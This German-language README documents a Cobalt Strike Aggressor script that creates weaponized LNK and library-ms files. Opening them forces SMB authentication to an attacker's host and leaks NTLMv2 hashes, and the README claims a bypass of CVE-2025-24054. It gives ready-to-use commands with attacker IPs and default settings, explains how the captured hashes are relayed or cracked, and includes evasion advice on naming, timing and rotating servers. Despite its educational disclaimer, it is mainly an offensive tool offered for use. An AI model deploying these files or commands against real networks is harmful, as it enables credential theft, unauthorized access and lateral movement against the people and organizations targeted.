LNK Weaponizer - Cobalt Strike Aggressor Script
Ein umfassendes Cobalt Strike Aggressor-Skript, das bösartige LNK- und Library-MS-Dateien zur Offenlegung von NTLMv2-SSP-Hashes über SMB erstellt und ausführt. Enthält Umgehungstechniken für CVE-2025-24054.
⚠️ HAFTUNGSAUSSCHLUSS
Dieses Tool dient ausschließlich zu Bildungs- und Forschungszwecken. Der Autor übernimmt keine Verantwortung für den Missbrauch dieses Codes. Verwenden Sie es nur auf Systemen, die Ihnen gehören oder für die Sie eine ausdrückliche Testgenehmigung haben.
Erfassen von NTLM-Hashes
Dieses Skript generiert weaponisierte .lnk- und .library-ms-Dateien, die beim Öffnen eine SMB-Authentifizierung zum Host des Operators auslösen.
Die preisgegebenen NTLMv2-Hashes werden nicht in Cobalt Strike angezeigt, sondern müssen mit externen Tools wie Responder, Impacket’s ntlmrelayx.py oder Inveigh auf dem Angreifersystem erfasst werden.
Nach der Erfassung können die Hashes mit Hashcat geknackt oder für weitere laterale Bewegungen weitergeleitet werden.
🎯 Funktionen
- LNK-Datei-Weaponisierung: Erstellt bösartige Verknüpfungsdateien zur NTLM-Hash-Erfassung
- Library-MS-Datei-Erstellung: Implementiert die Umgehungstechnik für CVE-2025-24054
- Rechtsklick-Menü-Integration: Einfacher Zugriff über das Beacon-Kontextmenü von Cobalt Strike
- Befehlszeilenschnittstelle: Direkte Befehle für Automatisierung und Skripterstellung
- Interaktive Dialoge: Benutzerfreundliche Parametereingabe
- Schnelle Bereitstellung: Vorkonfigurierte Einstellungen für schnellen Einsatz
- Globale Konfiguration: Einfache Anpassung der Standardeinstellungen
📁 Projektstruktur
cobalt-strike-aggressor/
├── lnk_weaponizer.cna # Haupt-Aggressor-Skript (v2.0)
├── standalone_lnk_weaponizer.ps1 # Eigenständige PowerShell-Version
├── README.md # Diese Dokumentation
├── INSTALL.md # Installations- und Setup-Anleitung
└── examples/
├── usage_scenarios.md # Praktische Anwendungsbeispiele
└── sample_targets.csv # Beispiel-Batch-Operationsdatei
🚀 Installation
- Kopieren Sie
lnk_weaponizer.cna in Ihr Cobalt Strike Aggressor-Skriptverzeichnis
- Laden Sie das Skript in Cobalt Strike:
- Gehen Sie zu
Cobalt Strike → Script Manager
- Klicken Sie auf
Load und wählen Sie lnk_weaponizer.cna
- Das Skript initialisiert automatisch und zeigt die verfügbaren Befehle an
📖 Verwendung
Klicken Sie mit der rechten Maustaste auf ein beliebiges Beacon in Cobalt Strike, um auf folgende Optionen zuzugreifen:
- LNK-Datei erstellen: Interaktiver Dialog für benutzerdefinierte LNK-Erstellung
- Library-MS-Datei erstellen: Interaktiver Dialog für Library-MS-Erstellung (CVE-2025-24054-Umgehung)
- Schnell-LNK (Standardeinstellungen): Schnelle LNK-Bereitstellung mit Voreinstellungen
- Schnell-Library-MS (Standardeinstellungen): Schnelle Library-MS-Bereitstellung mit Voreinstellungen
Befehlszeilenbefehle
LNK-Datei-Befehle
# LNK-Datei mit benutzerdefinierten Parametern erstellen
lnk_create <pfad> <ip> <freigabe> <datei>
# Beispiel
lnk_create C:\Temp 192.168.1.10 share payload.exe
Library-MS-Datei-Befehle
# Library-MS-Datei mit benutzerdefinierten Parametern erstellen
library_create <pfad> <ip> <freigabe>
# Beispiel
library_create C:\Temp 10.10.14.22 share
Schnellbefehle
# Standardeinstellungen verwenden
lnk_quick
library_quick
# Hilfe anzeigen
lnk_help
🔧 Konfiguration
Standardeinstellungen
Das Skript verwendet diese konfigurierbaren Standardwerte:
- IP:
192.168.1.10
- Freigabe:
share
- Pfad:
C:\Temp
Anpassen der Standardeinstellungen
Bearbeiten Sie die globalen Variablen in lnk_weaponizer.cna:
global('$default_ip $default_share $default_path');
$default_ip = "192.168.1.10";
$default_share = "share";
$default_path = "C:\\Temp";
🎯 Funktionsweise
LNK-Datei-Technik
- PowerShell-Skript-Generierung: Erstellt ein PowerShell-Skript, das die bösartige LNK-Datei generiert
- LNK-Datei-Erstellung: Verwendet das Windows Shell COM-Objekt, um eine Verknüpfung zu einem entfernten SMB-Speicherort zu erstellen
- Symbol-Auslösung: Zwingt Explorer, das PE-Symbol aus der entfernten Binärdatei abzurufen, was eine NTLM-Authentifizierung auslöst
- Hash-Erfassung: Der NTLMv2-SSP-Hash wird erfasst, wenn der Benutzer mit der Datei interagiert
Library-MS-Technik (CVE-2025-24054-Umgehung)
- XML-Generierung: Erstellt eine Library-MS-XML-Datei mit einem UNC-Pfadverweis
- Dateierstellung: Generiert eine
.library-ms-Datei im Zielverzeichnis
- Benutzerinteraktion: Wenn der Benutzer die Library-MS-Datei doppelklickt, versucht Windows, auf den UNC-Pfad zuzugreifen
- Authentifizierungsauslösung: Die SMB-Authentifizierung wird ausgelöst und der NTLM-Hash erfasst
Technische Details
Beide Techniken erstellen Dateien, die:
- Auf entfernte SMB-Speicherorte verweisen
- Beim Zugriff eine Authentifizierung auslösen
- Allgemeine Sicherheitskontrollen umgehen
- Eine zuverlässige Hash-Erfassung ermöglichen
Das Skript bietet eine detaillierte Protokollierung:
[+] LNK-Datei wird auf TARGET-COMPUTER erstellt
[+] Ziel-UNC: \\192.168.1.10\share\payload.exe
[+] Lokaler Pfad: C:\Temp
[+] LNK-Weaponisierung abgeschlossen
[!] Warten Sie darauf, dass der Benutzer die LNK-Datei anklickt, um den NTLM-Hash zu erfassen
🛡️ Sicherheitsüberlegungen
Erkennungsvermeidung
- Verwenden Sie realistisch wirkende Freigabenamen und Pfade
- Berücksichtigen Sie den Zeitpunkt der Bereitstellung, um Erkennung zu vermeiden
- Überwachen Sie auf Sicherheitstool-Warnungen
- Die Library-MS-Technik bietet zusätzliche Umgehungsmöglichkeiten
Betriebssicherheit
- Verwenden Sie dedizierte SMB-Server für die Hash-Erfassung
- Implementieren Sie eine ordnungsgemäße Protokollierung und Überwachung
- Befolgen Sie die Richtlinien Ihres Red Teams
- Dokumentieren Sie alle Testaktivitäten
- Stellen Sie sicher, dass Sie vor dem Testen eine ordnungsgemäße Autorisierung haben
- Dokumentieren Sie alle Testaktivitäten
- Respektieren Sie Umfang und Grenzen
🔍 Fehlerbehebung
Häufige Probleme
-
Beacon nicht gefunden
- Stellen Sie sicher, dass der Zielcomputer ein aktives Beacon hat
- Überprüfen Sie die Schreibweise des Computernamens bei Batch-Operationen
-
Zugriff verweigert
- Überprüfen Sie die Schreibberechtigungen für den Zielpfad
- Überprüfen Sie die UAC-Einstellungen auf dem Zielsystem
-
PowerShell-Ausführungsrichtlinie
- Das Skript verwendet
bpowershell(), um Einschränkungen zu umgehen
- Stellen Sie sicher, dass PowerShell auf dem Ziel verfügbar ist
Debug-Modus
Aktivieren Sie die ausführliche Ausgabe durch Ändern des Skripts:
# Debug-Protokollierung hinzufügen
blog($bid, "[DEBUG] Befehl ausführen: " . $command);
📝 Beispiele
Szenario 1: LNK-Datei-Bereitstellung
# LNK-Datei auf einem bestimmten Ziel erstellen
lnk_create C:\Users\Public\Desktop 10.0.0.5 public malware.exe
Szenario 2: Library-MS-Umgehung
# Library-MS-Datei für CVE-2025-24054-Umgehung erstellen
library_create C:\Users\Public\Desktop 192.168.1.100 share
Szenario 3: Schneller Angriff
# Standardeinstellungen für schnelle Bereitstellung verwenden
lnk_quick
library_quick
🔬 Fortgeschrittene Techniken
CVE-2025-24054-Umgehung
Die Library-MS-Technik implementiert eine Umgehung für CVE-2025-24054, indem:
- Das Library-MS-Dateiformat anstelle traditioneller LNK-Dateien verwendet wird
- Das Windows-Bibliothekssystem für Authentifizierungsauslöser genutzt wird
- Zusätzliche Umgehungsmöglichkeiten bereitgestellt werden
Umgehungsstrategien
- Dateibenennung: Verwenden Sie realistische Namen und Erweiterungen
- Pfadauswahl: Setzen Sie in üblichen Benutzerverzeichnissen aus
- Timing: Führen Sie während normaler Geschäftszeiten aus
- Rotation: Variieren Sie SMB-Server-IPs und Freigabenamen
🤝 Mitwirken
- Forken Sie das Repository
- Erstellen Sie einen Feature-Branch
- Nehmen Sie Ihre Änderungen vor
- Testen Sie gründlich
- Reichen Sie einen Pull-Request ein
📄 Lizenz
Dieses Projekt wird wie besehen zu Bildungszwecken bereitgestellt. Verwenden Sie es verantwortungsvoll und in Übereinstimmung mit den geltenden Gesetzen und Vorschriften.
🙏 Danksagungen
- Dem Cobalt Strike-Team für das Aggressor-Framework
- Der Red-Team-Community für Tests und Feedback
- Den Sicherheitsforschern, die Pioniere der LNK-basierten Angriffe waren
- Den Mitwirkenden an der CVE-2025-24054-Forschung
Denken Sie daran: Holen Sie immer die ordnungsgemäße Autorisierung ein, bevor Sie auf einem System testen.